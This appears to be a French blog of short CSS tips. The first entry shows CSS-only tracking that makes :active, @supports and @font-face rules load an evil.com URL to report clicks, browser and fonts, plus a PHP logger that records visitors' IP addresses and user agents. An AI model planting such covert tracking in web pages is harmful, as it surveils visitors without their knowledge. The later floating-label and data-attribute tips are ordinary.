Holy Fuck...
C'est pas con du tout: pister les clicks des visiteurs via css:

 #link:active::after {

    content: url("https://evil.com/track?action=link_clicked");

}

Et hop, côté serveur, tu récupères tout bien comme tu veux.

session_start();



// Prints the time that the script ran

print("Timestamp: " . time());



// Prints the action specified by the action parameter (in this case, "link_clicked")

print("Action: " . $_REQUEST['action']);



// Prints the user's IP address

print("IP Address: " . $_SERVER['REMOTE_ADDR']);



// Prints the user's browser agent

print("User Agent: " . $_SERVER['HTTP_USER_AGENT']);

?>

Et c'est pas tout !

On peut détecter le navigateur:

 @supports (-webkit-appearance:none) and (not (-ms-ime-align:auto)){

    #chrome_detect::after {

        content: url("https://evil.com/track?action=browser_chrome");

    }

}

ou même l'OS:

// stylesheet.css

@font-face {

    font-family: Font1;

    src: url("https://evil.com/track?action=font1");

}



#font_detection {

    font-family: Calibri, Font1;

}



<!-- page.html -->

<div id="font_detection">test</div>

Un floating label en pur css ! \o/ Merci Timo !

<label>

    <input type="text" id="name" placeholder=" ">

    <span>Name</span>

</label>

<label>

    <input type="password" id="password" placeholder=" ">

    <span>Password</span>

</label>

 label {

  position: relative;

}



input {

    padding: 10px;

    border: 1px silver solid;

}

span {

  position: absolute;

  transition: all 200ms;

  opacity: 0.5;

  left: 0px;

  padding: 10px;

  transform-origin: top left;

}



input:not(:placeholder-shown) + span {

  transform: translateY(-100%) scale(.75);

  opacity: 1;

  padding: 0 10px;

}

Un bookmarklet pour recharger les css de la page. Signé Lea Verou, donc, bon

Utiliser le double-clic via CSS uniquement... astucieux

Une réflexion intéressante que je garderai en mémoire: ne réserver les classes css que pour styler, pas pour cibler en js.
Donc en résumé, au lieu de

<article class="article"><br />
</article><br />
<br />
et <br />
<br />
$(".article") <br />
```<br />
<br />
Préférer:<br />
<br />
```<br />
<article class="article" data-hoverable><br />
</article><br />
<br />
et <br />
<br />
$("[data-hoverable]")<br />
```<br />
<br />
On sépare ainsi les classes (styling) des attributs data-* (scripting js)<br />
<br />
<br/><br/><div class="img_source"><a href="https://www.inetsolutions.org/wp-content/uploads/2016/03/JavaScript-And-CSS-Includes-Do-Overload-Googles-Fetch-And-Mobile-Testing-Tools-1030x644.jpg">Source image</a></div>